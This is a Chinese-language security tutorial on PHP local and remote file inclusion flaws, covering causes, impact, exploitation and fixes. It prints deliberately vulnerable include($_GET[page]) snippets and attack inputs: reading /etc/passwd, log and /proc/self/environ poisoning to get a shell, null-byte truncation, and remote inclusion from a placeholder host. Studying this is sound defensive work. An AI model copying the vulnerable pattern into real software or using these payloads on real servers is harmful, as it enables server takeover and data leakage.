10_文件包含漏洞(属于任意代码执行)
一、背景介绍
随着网站业务的需求,web脚本可能允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
二、漏洞成因
文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。被包含的文件在第三方服务器时,就形成了远程文件包含漏洞。
本地到远程:如果php.ini的配置选项allow_url_fopen和allow_url_include为ON的话,则文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。
常见漏洞代码:
if(isset($_GET[page])){ include $_GET[page]; } else { include "home.php"; }
触发漏洞的条件:
web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件。
用户能够控制该动态变量。
三、漏洞分类
1.本地文件包含
2.远程文件包含
3.文件包含
四、漏洞危害
执行恶意脚本代码
控制网站
甚至控制服务器
五、漏洞利用
1.本地文件包含
上传图片,包含图片GetShell。
读文件,读PHP文件。
包含日志文件GetShell。
包含/proc/self/environ文件GetShell
如果有phpinfo可以包含临时文件
包含data://或php://input等伪协议(需要allow_url_include=On)
例子:包含上传的图片GetShell_1:
<?php if($_GET[page]){ include($_GET[page]); }else{ include "show.php"; } ?>
GetShell_2:
<?php if($_GET[page]){ include("./action/".$_GET[page]); }else{ include "./action/show.php" } ?>
GetShell_3: %00截断
<?php if($_GET[page]){ include("./action/".$_GET[page].".php"); }else{ include "./action/show.php"; } ?>
2.读文件 index.php?file=/etc/passwd
2.1敏感文件(见pdf10)
2.2读PHP文件
index.php?page=/var/log/httpd/access_log
3.包含环境变量文件GetShell
需要PHP运行在CGI模式、然后和包含日志一样,在User-agent修改成payload。
4.远程文件包含
前提是:有远程文件包含漏洞的服务器的php.ini的配置选项allow_url_fopen和allow_url_include为ON。
远程服务器存放一个txt文件,或者不被解析的php文件。index.php?page=http://www.xxx.com/1.txt
5.扩展两个伪协议:
六、漏洞挖掘
无通用性方法
特定的CMS,特定的版本可能存在漏洞
web漏洞扫描器扫描,常见web漏洞扫描器都支持文件包含漏洞的检测。
七、修复方案
PHP中可以使用open_basedir配置限制访问限制在指定的区域。
过滤.(点) /(反斜杠) \(反斜杠)
禁止服务器远程文件包含